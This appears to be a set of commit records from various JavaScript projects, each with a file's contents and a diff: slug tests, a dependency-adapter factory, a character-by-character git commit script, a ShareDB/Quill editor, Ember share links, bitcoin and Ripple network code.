slug = slugizoid('pull-request'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); it('<space> deliminated', () => { // Arrange const slug = slugizoid('pull request'); // Assert expect(slug.slugify()).to.be.equal(expectedSlug); }); }); }); describe('comparison', () => { describe('.equals', () => { it('should be a function with arity of 1', () => { // Arrange const slug = slugizoid(); // Assert expect(slug.equals) .to.be.a('function') .with.lengthOf(1); }); it('should match singular underscore deliminated version of slug', () => { // Arrange const slug = slugizoid('pull-request'); // Assert expect(slug.equals('pull-requests')).to.be.true; expect(slug.equals('pull_requests')).to.be.true; expect(slug.equals('pull_request')).to.be.true; expect(slug.equals('pull-request')).to.be.true; expect(slug.equals('pull')).to.be.false; }); }); }); });
JavaScript
0.000001
@@ -2425,17 +2425,17 @@ he corre -n +c t slug w
6f7970840a384cc728759cb0bab806bc7f600a5b
Add useYarn to npm adapter initialisation
lib/utils/dependency-manager-adapter-factory.js
lib/utils/dependency-manager-adapter-factory.js
'use strict'; var BowerAdapter = require('../dependency-manager-adapters/bower'); var NpmAdapter = require('../dependency-manager-adapters/npm'); module.exports = { generateFromConfig: function(config, root) { var hasNpm = false; var hasBower = false; var adapters = []; if (!config || !config.scenarios) { return []; } config.scenarios.forEach(function(scenario) { if (scenario.npm) { hasNpm = true; } if (scenario.bower || scenario.dependencies || scenario.devDependencies) { hasBower = true; } }); if (hasNpm) { adapters.push(new NpmAdapter({ cwd: root, managerOptions: config.npmOptions })); } if (hasBower) { adapters.push(new BowerAdapter({ cwd: root, managerOptions: config.bowerOptions })); } return adapters; } };
JavaScript
0
@@ -668,24 +668,56 @@ g.npmOptions +, useYarnCommand: config.useYarn %7D));%0A %7D%0A
d23379347dd91ef8ed4942b3be046bb3137bb150
Update character
commit.js
commit.js
var fs = require('fs'); var child_process = require('child_process') var max_sleep = 300 if ( process.argv[ 2 ] && process.argv[ 3 ] ) { var inFile = process.argv[ 2 ] var outFile = process.argv[ 3 ] if (process.argv [ 4 ]) max_sleep = process.argv [ 4 ] console.info("Writing from %s to %s, with up to %s seconds between commits", inFile, outFile, max_sleep) var outFD = fs.openSync(outFile, 'w') fs.readFile(inFile, function(err,data) { var length = data.length console.info("Bytes: %s", length) try { child_process.execFileSync('/usr/bin/git', ['add', outFile]) } catch (e) { console.error("Couldn't add %s to git: %s", outFile, e) } var args = ['commit', outFile, '-m', 'Update character'] for (var counter = 0; counter < length; counter++) { fs.writeSync(outFD, data.slice(counter, counter+1), 0, 1) sleep(Math.random() * max_sleep) child_process.execFileSync('/usr/bin/git', args) } }) } function sleep(seconds) { var endTime = new Date().getTime() + (seconds * 1000); while (new Date().getTime() <= endTime) {;} } process.on('exit', fu
JavaScript
0
@@ -1118,12 +1118,13 @@ n('exit', fu +n
5f89625a5b48461c4c3b02647e9905c1e9674e02
Update character
commit.js
commit.js
var fs = require('fs'); var child_process = require('child_process') var max_sleep = 300 if ( process.argv[ 2 ] && process.argv[ 3 ] ) { var inFile = process.argv[ 2 ] var outFile = process.argv[ 3 ] if (process.argv [ 4 ]) max_sleep = process.argv [ 4 ] console.info("Writing from %s to %s, with up to %s seconds between commits", inFile, outFile, max_sleep) var outFD = fs.openSync(outFile, 'w') fs.readFile(inFile, function(err,d
JavaScript
0
@@ -438,8 +438,9 @@ on(err,d +a
211f932dad6a3f42945aaa8a34207ecb293538b3
delete comment
public/javascripts/main.js
public/javascripts/main.js
// -------------------------------------------------------------------------------------- // define angular module/app //var etlog = angular.module('etlog', ['ngRoute']); var etlog = angular.module('etlog', ['ui.router']); // --------------------------------------------------------------------------------------
JavaScript
0
@@ -116,60 +116,8 @@ app%0A -//var etlog = angular.module('etlog', %5B'ngRoute'%5D);%0A var
adee7b088ad096eaa65761dccd1a9146bf0a2133
Update character
commit.js
commit.js
var fs = require('fs'); var child_process = require('child_process') var max_sleep = 300 if ( process.argv[ 2 ] && process.argv[ 3 ] ) { var inFile = process.argv[ 2 ] var outFile = process.argv[ 3 ] if (process.argv [ 4 ]) max_sleep = process.argv [ 4 ] console.info("Writing from %s to %s, with up to %s seconds between commits", inFile, outFile, max_sleep) var outFD = fs.openSync(outFile, 'w') fs.readFile(inFile, function(err,data) { var length = data.length console.info("Bytes: %s"
JavaScript
0
@@ -502,8 +502,9 @@ tes: %25s%22 +,
06cfc252fdb5a10f0e85735e69cdfa74f5059f29
Update character
commit.js
commit.js
var fs = require('fs'); var child_process = require('child_process') var max_sleep = 300 if ( process.argv[ 2 ] && process.argv[ 3 ] ) { var inFile = process.argv[ 2 ] var outFile = process.argv[ 3 ] if (process.argv [ 4 ]) max_sleep = process.argv [ 4 ] console.info("Writing from %s to %s, with up to %s seconds between commits", inFile, outFile, max_sleep) var outFD = fs.openSync(outFile, 'w') fs.readFile(inFile, function(err,data) { var length = data.length console.info("Bytes: %s", length) try { child_process.execFileSync('/usr/bin/git', ['add', outFile]) } catch (e) { console.error("Couldn't add %s to git: %s", outFile, e) } var args = ['commit', outFile, '-m', 'Update character'] for (var counter = 0; counter < length; counter++)
JavaScript
0
@@ -791,12 +791,13 @@ nter++)%0A +%7B
a5c6a37697648fbf8db2e8b2fab97a9e9f4eb87c
Revert quill library capitalization
public/javascripts/main.js
public/javascripts/main.js
var ShareDB = require('sharedb/lib/client'); var Quill = require('Quill'); var QuillCursors = require('quill-cursors'); var ReconnectingWebSocket = require('reconnectingwebsocket'); var cursors = require('./cursors'); var utils = require('./utils'); ShareDB.types.register(require('rich-text').type); var shareDBSocket = new ReconnectingWebSocket(((location.protocol === 'https:') ? 'wss' : 'ws') + '://' + window.location.host + '/sharedb'); var shareDBConnection = new ShareDB.Connection(shareDBSocket); var quill = window.quill = new Quill('#editor', { theme: 'snow', modules: { cursors: { autoRegisterListener: false }, history: { userOnly: true } }, readOnly: true }); var doc = shareDBConnection.get('documents', 'foobar'); var cursorsModule = quill.getModule('cursors'); doc.subscribe(function(err) { if (err) throw err; if (!doc.type) doc.create([{ insert: '\n' }], 'rich-text'); // update editor contents quill.setContents(doc.data); // local -> server quill.on('text-change', function(delta, oldDelta, source) { if (source == 'user') { if (cursors.localConnection.range && cursors.localConnection.range.length) { cursors.localConnection.range.index += cursors.localConnection.range.length; cursors.localConnection.range.length = 0; cursors.update(); } doc.submitOp(delta, { source: quill }, function(err) { if (err) console.error('Submit OP returned an error:', err); }); updateUserList(); } }); cursorsModule.registerTextChangeListener(); // server -> local doc.on('op', function(op, source) { if (source !== quill) { quill.updateContents(op); updateUserList(); } }); // function sendCursorData(range) { cursors.localConnection.range = range; cursors.update(); } // var debouncedSendCursorData = utils.debounce(function() { var range = quill.getSelection(); if (range) { console.log('[cursors] Stopped typing, sending a cursor update/refresh.'); sendCursorData(range); } }, 1500); doc.on('nothing pending', debouncedSendCursorData); function updateCursors(source) { var activeConnections = {}, updateAll = Object.keys(cursorsModule.cursors).length == 0; cursors.connections.forEach(function(connection) { if (connection.id != cursors.localConnection.id) { // Update cursor that sent the update, source (or update all if we're initting) if ((connection.id == source.id || updateAll) && connection.range) { cursorsModule.setCursor( connection.id, connection.range, connection.name, connection.color ); } // Add to active connections hashtable activeConnections[connection.id] = connection; } }); // Clear 'disconnected' cursors Object.keys(cursorsModule.cursors).forEach(function(cursorId) { if (!activeConnections[cursorId]) { cursorsModule.removeCursor(cursorId); } }); } quill.on('selection-change', function(range, oldRange, source) { sendCursorData(range); }); document.addEventListener('cursors-update', function(e) { // Handle Removed Connections e.detail.removedConnections.forEach(function(connection) { if (cursorsModule.cursors[connection.id]) cursorsModule.removeCursor(connection.id); }); updateCursors(e.detail.source); updateUserList(); }); updateCursors(cursors.localConnection); }); window.cursors = cursors; var usernameInputEl = document.getElementById('username-input'); var usersListEl = document.getElementById('users-list'); function updateUserList() { // Wipe the slate clean usersListEl.innerHTML = null; cursors.connections.forEach(function(connection) { var userItemEl = document.createElement('li'); var userNameEl = document.createElement('div'); var userDataEl = document.createElement('div'); userNameEl.innerHTML = '<strong>' + (connection.name || '(Waiting for username...)') + '</strong>'; userNameEl.classList.add('user-name'); if (connection.id == cursors.localConnection.id) userNameEl.innerHTML += ' (You)'; if (connection.range) { if (connection.id == cursors.localConnection.id) connection.range = quill.getSelection(); userDataEl.innerHTML = [ '<div class="user-data">', ' <div>Index: ' + connection.range.index + '</div>', ' <div>Length: ' + connection.range.length + '</div>', '</div>' ].join(''); } else userDataEl.innerHTML = '(Not focusing on editor.)'; userItemEl.appendChild(userNameEl); userItemEl.appendChild(userDataEl); userItemEl.style.backgroundColor = connection.color; usersListEl.appendChild(userItemEl); }); } usernameInputEl.value = chance.name(); usernameInputEl.focus(); usernameInputEl.select(); document.getElementById('username-form').addEventListener('submit', function(event) { cursors.localConnection.name = usernameInputEl.value; cursors.update(); quill.enable(); document.getElementById('connect-panel').style.display = 'none'; document.getElementById('users-panel').style.display = 'block'; event.preventDefault(); return false; }); // DEBUG var sharedbSocketStateEl = document.getElementById('sharedb-socket-state'); var sharedbSocketIndicatorEl = document.getElementById('sharedb-socket-indicator'); shareDBConnection.on('state', function(state, reason) { var indicatorColor; console.log('[sharedb] New connection state: ' + state + ' Reason: ' + reason); sharedbSocketStateEl.innerHTML = state.toString(); switch (state.toString()) { case 'connecting': indicatorColor = 'silver'; break; case 'connected': indicatorColor = 'lime'; break; case 'disconnected': case 'closed': case 'stopped': indicatorColor = 'red'; break; } sharedbSocketIndicatorEl.style.backgroundColor = indicatorColor; });
JavaScript
0.000015
@@ -59,17 +59,17 @@ equire(' -Q +q uill');%0A
5aa186f6db60ff749a8500e9ca2ccef0e91f3979
Remove x-axis padding for multi-point graph data.
public/js/helpers/Graph.js
public/js/helpers/Graph.js
define([], function() { 'use strict'; window.diana = window.diana || {}; window.diana.helpers = window.diana.helpers || {}; var diana = window.diana; diana.helpers.Graph = { formatRegex: { minute: /^\d{2}\/\d{2}\/\d{4} \d{2}:\d{2}:00$/, hour: /^\d{2}\/\d{2}\/\d{4} \d{2}:00$/, day: /^\d{2}\/\d{2}\/\d{4}$/, month: /^\d{4}-\d{2}$/, year: /^\d{4}$/ }, unitFormat: { minute: 'MM/DD/YYYY HH:mm:ss', hour: 'MM/DD/YYYY HH:mm', day: 'MM/DD/YYYY', month: 'YYYY-MM', year: 'YYYY' }, /** * Adjust graph axis options based on a data set and default options. * * Ex. if there is only one data point, then ensure the axis scope is zoomed * in on that point. * * @param data {Array} Array of [x,y] arrays. * @param axes {Object} Default options for each axis. * - x {Object} * - y {Object} * @return {Object} Modified 'axes'. */ adjustAxes: function(data, axes) { axes = _.clone(axes); axes.xaxis = axes.xaxis || {}; axes.yaxis = axes.yaxis || {}; var xunit = diana.helpers.Graph.detectDateUnit(data[0][0]); if (data.length == 1) { // Zoom in, one unit padding on both sides. axes.xaxis.min = diana.helpers.Graph.subtractDateUnit(data[0][0], 1); axes.xaxis.max = diana.helpers.Graph.addDateUnit(data[0][0], 1); axes.xaxis.tickInterval = '1 ' + xunit; // Add proportional top-padding. axes.yaxis.max = data[0][1] * 1.5; } axes.yaxis.min = 0; return axes; }, /** * Detect a formatted date/time's unit and add an amount of them * * @param str {String} Ex. '03/12/2012'. * @param amount {Number} Ex. 1 * @return {String} Ex. '03/11/2012' */ addDateUnit: function(str, amount) { var unit = diana.helpers.Graph.detectDateUnit(str); var format = diana.helpers.Graph.unitFormat[unit]; switch (unit) { case 'minute': case 'hour': case 'day': case 'month': case 'year': return moment(str).add(unit + 's', amount).format(format); default: return null; } }, /** * Detect a formatted date/time's unit and subtract an amount of them. * * @param str {String} Ex. '03/12/2012'. * @param amount {Number} Ex. 1 * @return {String} Ex. '03/11/2012' */ subtractDateUnit: function(str, amount) { return diana.helpers.Graph.addDateUnit(str, -1 * amount); }, /** * Detect a formatted date/time's unit. * * @param str {String} Ex. '03/12/2012'. * @return {String} minute, hour, day, month, year */ detectDateUnit: function(str) { var match = null; _.any(diana.helpers.Graph.formatRegex, function(regex, unit) { if (str.match(regex)) { match = unit; return true; } return false; }); return match; } }; });
JavaScript
0
@@ -1541,16 +1541,157 @@ %0A %7D + else %7B%0A // Remove all x-axis padding.%0A axes.xaxis.min = data%5B0%5D%5B0%5D;%0A axes.xaxis.max = data%5Bdata.length - 1%5D%5B0%5D;%0A %7D %0A%0A
d22b7991278389f41fbb083b05bb535064dfc850
Add losePositions
src/ai/getBestPositions.js
src/ai/getBestPositions.js
import { getEmptyPositions } from './getEmptyPositions'; import { move } from './move'; /** * Get Win Positions or Empty Positions * @func * @param {[Number]} oldGame old game * @return {Number} random empty position */ const getBestPositions = (oldGame) => { const emptyPositions = getEmptyPositions(oldGame.board); const winPositions = emptyPositions.filter(position => { const testGame = move(oldGame, position); return testGame.ended; }); return winPositions.length > 0 ? winPositions : emptyPositions; }; export { getBestPositions };
JavaScript
0.000001
@@ -80,16 +80,333 @@ ./move'; +%0Aimport %7B filter, head, pipe %7D from 'ramda';%0A%0A/**%0A * Get another item from the list%0A * %0A * #TODO: Move to ptz-fp%0A * %0A * @param %7B*%7D item item to be excluded%0A * @param %7B*%7D list list to get a different item%0A * @return %7B*%7D another item%0A */%0Aconst getOther = (item, list) =%3E pipe(%0A filter(i =%3E i !== item),%0A head%0A)(list); %0A%0A/**%0A * @@ -781,18 +781,297 @@ %0A%0A -return win +if (winPositions.length %3E 0) %7B%0A return winPositions;%0A %7D%0A%0A const losePositions = emptyPositions.filter(position =%3E %7B%0A const testGame = move(oldGame, getOther(position, emptyPositions));%0A const testGame2 = move(testGame, position);%0A return testGame2.ended;%0A %7D);%0A%0A return lose Posi @@ -1093,19 +1093,20 @@ 0%0A ? -win +lose Position
c65bec2480a89847739979acaffd44a946878b4d
Improve and fix Andamio.Application to allow using the vent object
src/andamio.application.js
src/andamio.application.js
Andamio.Application = function (options) { _.extend(this, options); this.vent = _.extend({}, Backbone.Events); }; _.extend(Andamio.Application.prototype, Backbone.Events, { // Selector where the main appview will be rendered container: 'main', // data-region where every page will be displayed el: 'page', // Starts the app start: function (options) { if (options.appView) { this._initAppView(options.appView); } if (this.router) { this._initRouter(); } this.initialize.apply(this, arguments); }, initialize: function () {}, // Initialize app router _initRouter: function () { var that = this; // Instantiate the Router if it's the constructor if (_.isFunction(this.router)) { this.router = new this.router(); } // Application region manages all views that are requested upon navigation this.appRegion = new Andamio.Region({ el: this.el, initialize: function () { this.listenTo(that.router, 'navigate', this.show); }, onShow: function () { that.vent.trigger('navigate', this.currentView); } }); Backbone.history.start(); // Navigate to default route if (!Backbone.history.fragment) { var defaultRoute = _.findWhere(this.router.routes, {default: true}); if (defaultRoute) { this.router.navigate(defaultRoute.url, {trigger: true}); } } }, // Initialize app view _initAppView: function (appView) { $(this.container).empty().append(appView.render().el); this.appView = appView; } }); Andamio.Application.extend = Andamio.extend;
JavaScript
0
@@ -448,15 +448,47 @@ -if (thi +// Initialize the router%0A if (option s.ro @@ -514,24 +514,38 @@ _initRouter( +options.router );%0A %7D%0A%0A @@ -679,32 +679,17 @@ on ( -) %7B%0A var that = this; +router) %7B %0A%0A @@ -719,118 +719,391 @@ uter - if it's the constructor%0A if (_.isFunction(this.router)) %7B%0A this.router = new this.router( +%0A this.router = _.isFunction(router) ? new router() : router;%0A%0A this._initAppRegion();%0A%0A Backbone.history.start();%0A%0A // Navigate to default route%0A if (!Backbone.history.fragment) %7B%0A var defaultRoute = _.findWhere(this.router.routes, %7Bdefault: true%7D);%0A%0A if (defaultRoute) %7B%0A this.router.navigate(defaultRoute.url, %7Btrigger: true%7D );%0A + %7D%0A -%0A + %7D%0A %7D,%0A%0A // @@ -1122,16 +1122,21 @@ region +that manages @@ -1143,23 +1143,8 @@ all -views that are requ @@ -1149,16 +1149,22 @@ quested +views upon nav @@ -1171,16 +1171,69 @@ igation%0A + _initAppRegion: function () %7B%0A var app = this;%0A%0A this @@ -1339,20 +1339,19 @@ istenTo( -that +app .router, @@ -1420,20 +1420,19 @@ -that +app .vent.tr @@ -1488,359 +1488,144 @@ %7D);%0A -%0A - Backbone.history.start();%0A%0A // Navigate to default route%0A if (!Backbone.history.fragment) %7B%0A var defaultRoute = _.findWhere(this.router.routes, %7Bdefault: true%7D);%0A%0A if (defaultRoute) %7B%0A this.router.navigate(defaultRoute.url, %7Btrigger: true%7D);%0A %7D%0A %7D%0A %7D,%0A%0A // Initialize app view%0A _initAppView: function ( +%7D,%0A%0A // Initialize app view%0A _initAppView: function (appView) %7B%0A this.appView = _.isFunction(appView) ? new appView() : appView -) %7B +;%0A %0A @@ -1658,16 +1658,21 @@ .append( +this. appView. @@ -1689,36 +1689,8 @@ l);%0A - this.appView = appView;%0A %7D%0A
8bb3deb6d07011c662828f6ff0cacfcd5d3b6838
Update getweek.js to remove special schedule alert
app/controller/getWeeks.js
app/controller/getWeeks.js
var https = require('https'); var CronJob = require('cron').CronJob; var currentWeek = 'UNKNOWN'; module.exports.currentWeek = function() { if (currentWeek != 'UNKNOWN') { return currentWeek; } else { console.log('currentWeek ' + currentWeek); var week = ''; var schedulePageOptions = { host: 'www.portergaud.edu', port: 443, path: '/page.cfm?p=1346&period=week', method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0' } }; var req = https.request(schedulePageOptions, function(res) { var data = ''; res.on('data', function(d) { data += d; }); res.on('end', function() { data = data.toLowerCase(); if (data.indexOf('special schedule') > -1 || data.indexOf('special day') > -1) { week = 'A'; alert("Today is a special schedule"); } else if (data.indexOf('a week') > -1 || data.indexOf('week a') > -1) { week = 'A'; } else if (data.indexOf('b week') > -1 || data.indexOf('week b') > -1) { week = 'B'; } else { week = 'WEEKEND'; } currentWeek = week; return week; }); }); req.end(); } }; module.exports.currentWeek(); new CronJob('00 01 00 * * *', function() { console.log('Automatically updating the week...'); currentWeek = 'UNKNOWN'; module.exports.currentWeek(); }, null, true, 'America/New_York'); module.exports.getFutureWeek = function(day) { if (day.getDay() === 0 || day.getDay() === 6) { return ''; // will be implemented closer to 2017 } return (day.getWeek() % 2 === 0) ? 'A' : 'B'; // var week = ''; // console.log('http://www.portergaud.edu/page.cfm?p=1346&start=' + month + '/' + date + '/' + year + '&period=week'); // var request = http.get('http://www.portergaud.edu/page.cfm?p=1346&start=' + month + '/' + date + '/' + year + '&period=week', function(response) { // var data = ''; // response.on('end', function(d) { // data += d; // }); // response.on('end', function() { // if (data.indexOf('A Week' > -1) || data.indexOf('Week A' > -1)) { // week = 'A'; // } else if (data.indexOf('B Week' > -1) || data.indexOf('Week B' > -1)) { // week = 'B'; // } else { // week = 'WEEKEND'; // } // console.log(week); // return week; // }); // }); }; Date.prototype.getWeek = function() { var d = new Date(+this); d.setHours(0, 0, 0); d.setDate(d.getDate() + 4 - (d.getDay() || 7)); return Math.ceil((((d - new Date(d.getFullYear(), 0, 1)) / 8.64e7) + 1) / 7); };
JavaScript
0
@@ -785,174 +785,8 @@ if -(data.indexOf('special schedule') %3E -1 %7C%7C data.indexOf('special day') %3E -1) %7B%0A week = 'A';%0A alert(%22Today is a special schedule%22);%0A %7D else if (dat
4829ca1af146c88dd140e4b340f23a5db2c6607d
fix getMempoolTxs in master network
app.es6/master/network.js
app.es6/master/network.js
import _ from 'lodash' import { EventEmitter } from 'events' import { setImmediate } from 'timers' import readyMixin from 'ready-mixin' import bitcore from 'bitcore' import p2p from 'bitcore-p2p' import RpcClient from 'bitcoind-rpc-client' import config from '../lib/config' import errors from '../lib/errors' import logger from '../lib/logger' import util from '../lib/util' /** * @event Network#block * @param {string} hash */ /** * @event Network#tx * @param {string} txid */ /** * @class Network */ export default class Network extends EventEmitter { /** * @constructor */ constructor () { super() Promise.all([ this._initBitcoind(), this._initTrustedPeer() ]) .then(() => { this._ready(null) }, (err) => { this._ready(err) }) this.ready .then(() => { logger.info('Network ready ...') }) } /** * @return {Promise} */ async _initBitcoind () { // create rpc client this._bitcoind = new RpcClient({ host: config.get('bitcoind.rpc.host'), port: config.get('bitcoind.rpc.port'), user: config.get('bitcoind.rpc.user'), pass: config.get('bitcoind.rpc.pass'), ssl: config.get('bitcoind.rpc.protocol') === 'https' }) // request info let {result} = await this._bitcoind.getInfo() // check network let bitcoindNetwork = result.testnet ? 'testnet' : 'livenet' let chromanodeNetwork = config.get('chromanode.network') if (bitcoindNetwork !== chromanodeNetwork && !(bitcoindNetwork === 'livenet' && chromanodeNetwork === 'regtest')) { throw new errors.InvalidBitcoindNetwork(bitcoindNetwork, chromanodeNetwork) } // show info logger.info( `Bitcoind checked. (version ${result.version}, bestHeight: ${result.blocks}, connections: ${result.connections})`) } /** * @return {Promise} */ _initTrustedPeer () { // create trusted peer this._peer = new p2p.Peer({ host: config.get('bitcoind.peer.host'), port: config.get('bitcoind.peer.port'), network: config.get('chromanode.network') }) setImmediate(::this._peer.connect) // inv event this._peer.on('inv', (message) => { let names = [] for (let inv of message.inventory) { // store inv type name names.push(p2p.Inventory.TYPE_NAME[inv.type]) // store inv if tx type if (inv.type === p2p.Inventory.TYPE.TX) { this.emit('tx', util.encode(inv.hash)) } // emit block if block type if (inv.type === p2p.Inventory.TYPE.BLOCK) { this.emit('block', util.encode(inv.hash)) } } logger.verbose( `Receive inv (${names.join(', ')}) message from peer ${this._peer.host}:${this._peer.port}`) }) // connect event this._peer.on('connect', () => { logger.info(`Connected to peer ${this._peer.host}:${this._peer.port}`) }) // disconnect event this._peer.on('disconnect', () => { logger.info(`Disconnected from peer ${this._peer.host}:${this._peer.port}`) }) // ready event this._peer.on('ready', () => { logger.info( `Peer ${this._peer.host}:${this._peer.port} is ready (version: ${this._peer.version}, subversion: ${this._peer.subversion}, bestHeight: ${this._peer.bestHeight})`) }) // waiting peer ready return new Promise((resolve) => { this._peer.once('ready', resolve) }) } /** * @return {Promise<Object>} */ async getBitcoindInfo () { let {result} = await this._bitcoind.getInfo() return result } /** * @return {Promise<number>} */ async getBlockCount () { let {result} = await this._bitcoind.getBlockCount() return result } /** * @param {number} height * @return {Promise<string>} */ async getBlockHash (height) { let {result} = await this._bitcoind.getBlockHash(height) return result } /** * @param {(number|string)} hash * @return {Promise<bitcore.Block>} */ async getBlock (hash) { if (_.isNumber(hash)) { hash = await this.getBlockHash(hash) } let {result} = await this._bitcoind.getBlock(hash, false) let rawBlock = new Buffer(result, 'hex') return new bitcore.Block(rawBlock) } /** * @return {Promise<{hash: string, height: number}>} */ async getLatest () { let height = await this.getBlockCount() let hash = await this.getBlockHash(height) return {hash: hash, height: height} } /** * @param {string} txid * @return {Promise<bitcore.Transaction>} */ async getTx (txid) { let {result} = await this._bitcoind.getRawTransaction(txid) let rawtx = new Buffer(result, 'hex') return new bitcore.Transaction(rawtx) } /** * @param {string} rawtx * @return {Promise} */ async sendTx (rawtx) { await this._bitcoind.sendRawTransaction(rawtx) } /** * @return {Promise<string[]>} */ getMempoolTxs () { let {result} = this._bitcoind.getRawMemPool() return result } } readyMixin(Network.prototype)
JavaScript
0
@@ -4926,16 +4926,22 @@ */%0A +async getMempo @@ -4969,16 +4969,22 @@ esult%7D = + await this._b
70055923a5695f1b5d5191a1e821cb2973212d6c
Fix special characters in the email title before showing up in the mailto pop up window EOSF-202
app/controllers/content.js
app/controllers/content.js
import Ember from 'ember'; import loadAll from 'ember-osf/utils/load-relationship'; import config from 'ember-get-config'; import Analytics from '../mixins/analytics'; import permissions from 'ember-osf/const/permissions'; /** * Takes an object with query parameter name as the key and value, or [value, maxLength] as the values. * * @param queryParams {!object} * @param queryParams.key {!array|!string} * @param queryParams.key[0] {!string} * @param queryParams.key[1] {int} * @returns {string} */ function queryStringify(queryParams) { const query = []; // TODO set up ember to transpile Object.entries for (const param in queryParams) { let value = queryParams[param]; let maxLength = null; if (Array.isArray(value)) { maxLength = value[1]; value = value[0]; } if (!value) continue; value = encodeURIComponent(value); if (maxLength) value = value.slice(0, maxLength); query.push(`${param}=${value}`); } return query.join('&'); } export default Ember.Controller.extend(Analytics, { theme: Ember.inject.service(), fullScreenMFR: false, expandedAuthors: true, showLicenseText: false, isAdmin: Ember.computed('node', function() { // True if the current user has admin permissions for the node that contains the preprint return (this.get('node.currentUserPermissions') || []).includes(permissions.ADMIN); }), twitterHref: Ember.computed('node', function() { const queryParams = { url: window.location.href, text: this.get('node.title'), via: 'OSFramework' }; return `https://twitter.com/intent/tweet?${queryStringify(queryParams)}`; }), /* TODO: Update this with new Facebook Share Dialog, but an App ID is required * https://developers.facebook.com/docs/sharing/reference/share-dialog */ facebookHref: Ember.computed('model', function() { const queryParams = { app_id: config.FB_APP_ID, display: 'popup', href: window.location.href, redirect_uri: window.location.href }; return `https://www.facebook.com/dialog/share?${queryStringify(queryParams)}`; }), // https://developer.linkedin.com/docs/share-on-linkedin linkedinHref: Ember.computed('node', function() { const queryParams = { url: [window.location.href, 1024], // required mini: ['true', 4], // required title: [this.get('node.title'), 200], // optional summary: [this.get('node.description'), 256], // optional source: ['Open Science Framework', 200] // optional }; return `https://www.linkedin.com/shareArticle?${queryStringify(queryParams)}`; }), emailHref: Ember.computed('node', function() { const queryParams = { subject: this.get('node.title'), body: window.location.href }; return `mailto:?${queryStringify(queryParams)}`; }), // The currently selected file (defaults to primary) activeFile: null, disciplineReduced: Ember.computed('model.subjects', function() { // Preprint disciplines are displayed in collapsed form on content page return this.get('model.subjects').reduce((acc, val) => acc.concat(val), []).uniqBy('id'); }), hasTag: Ember.computed('node.tags', function() { return (this.get('node.tags') || []).length; }), getAuthors: Ember.observer('node', function() { // Cannot be called until node has loaded! const node = this.get('node'); if (!node) return []; const contributors = Ember.A(); loadAll(node, 'contributors', contributors).then(() => this.set('authors', contributors) ); }), doiUrl: Ember.computed('model.doi', function() { return `https://dx.doi.org/${this.get('model.doi')}`; }), fullLicenseText: Ember.computed('model.license', function() { let text = this.get('model.license.text'); if (text) { text = text.replace(/({{year}})/g, this.get('model.licenseRecord').year || ''); text = text.replace(/({{copyrightHolders}})/g, this.get('model.licenseRecord').copyright_holders ? this.get('model.licenseRecord').copyright_holders.join(',') : false || ''); } return text; }), actions: { toggleLicenseText() { const licenseState = this.toggleProperty('showLicenseText') ? 'Expand' : 'Contract'; Ember.get(this, 'metrics') .trackEvent({ category: 'button', action: 'click', label: `Preprints - Content - License ${licenseState}` }); }, expandMFR() { // State of fullScreenMFR before the transition (what the user perceives as the action) const beforeState = this.toggleProperty('fullScreenMFR') ? 'Expand' : 'Contract'; Ember.get(this, 'metrics') .trackEvent({ category: 'button', action: 'click', label: `Preprints - Content - MFR ${beforeState}` }); }, // Unused expandAuthors() { this.toggleProperty('expandedAuthors'); }, // Metrics are handled in the component chooseFile(fileItem) { this.set('activeFile', fileItem); }, shareLink(href, network, action) { const metrics = Ember.get(this, 'metrics'); if (network.includes('email')) { metrics.trackEvent({ category: 'link', action, label: `Preprints - Content - Email ${window.location.href}` }); } else { window.open(href, '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,width=600,height=400'); // TODO submit PR to ember-metrics for a trackSocial function for Google Analytics. For now, we'll use trackEvent. metrics.trackEvent({ category: network, action, label: `Preprints - Content - ${window.location.href}` }); } return false; } }, });
JavaScript
0.000071
@@ -1075,16 +1075,236 @@ &');%0A%7D%0A%0A +%0Afunction fixSpecialChar(inputString)%7B%0A console.log(inputString);%0A if (inputString != null)%7B%0A return inputString.replace(/&amp;/g,%22&%22).replace(/&gt;/g,%22%3E%22).replace(/&lt;/g,%22%3C%22);%0A %7Delse%7B%0A return inputString;%0A %7D%0A%7D%0A%0A export d @@ -3215,16 +3215,31 @@ ubject: +fixSpecialChar( this.get @@ -3244,32 +3244,33 @@ et('node.title') +) ,%0A bo
b5f8ba4817a8a44d16e55ce667c69dce2e8ef145
Check for destination_currencies property
src/api/ledger/pathfind.js
src/api/ledger/pathfind.js
/* @flow */ 'use strict'; const _ = require('lodash'); const async = require('async'); const BigNumber = require('bignumber.js'); const utils = require('./utils'); const validate = utils.common.validate; const parsePathfind = require('./parse/pathfind'); const NotFoundError = utils.common.errors.NotFoundError; const composeAsync = utils.common.composeAsync; const convertErrors = utils.common.convertErrors; type PathFindParams = { src_currencies?: Array<string>, src_account: string, dst_amount: string, dst_account?: string } function addParams(params: PathFindParams, result: {}) { return _.assign({}, result, { source_account: params.src_account, source_currencies: params.src_currencies, destination_amount: params.dst_amount }); } type PathFind = { source: {address: string, currencies: Array<string>}, destination: {address: string, amount: string} } function requestPathFind(remote, pathfind: PathFind, callback) { const params: PathFindParams = { src_account: pathfind.source.address, dst_account: pathfind.destination.address, dst_amount: utils.common.toRippledAmount(pathfind.destination.amount) }; if (typeof params.dst_amount === 'object' && !params.dst_amount.issuer) { // Convert blank issuer to sender's address // (Ripple convention for 'any issuer') // https://ripple.com/build/transactions/ // #special-issuer-values-for-sendmax-and-amount // https://ripple.com/build/ripple-rest/#counterparties-in-payments params.dst_amount.issuer = params.dst_account; } if (pathfind.source.currencies && pathfind.source.currencies.length > 0) { params.src_currencies = pathfind.source.currencies.map(amount => _.omit(utils.common.toRippledAmount(amount), 'value')); } remote.createPathFind(params, composeAsync(_.partial(addParams, params), convertErrors(callback))); } function addDirectXrpPath(paths, xrpBalance) { // Add XRP "path" only if the source acct has enough XRP to make the payment const destinationAmount = paths.destination_amount; if ((new BigNumber(xrpBalance)).greaterThanOrEqualTo(destinationAmount)) { paths.alternatives.unshift({ paths_computed: [], source_amount: paths.destination_amount }); } return paths; } function isRippledIOUAmount(amount) { // rippled XRP amounts are specified as decimal strings return (typeof amount === 'object') && amount.currency && (amount.currency !== 'XRP'); } function conditionallyAddDirectXRPPath(remote, address, paths, callback) { if (isRippledIOUAmount(paths.destination_amount) || !_.includes(paths.destination_currencies, 'XRP')) { callback(null, paths); } else { utils.getXRPBalance(remote, address, undefined, composeAsync(_.partial(addDirectXrpPath, paths), callback)); } } function 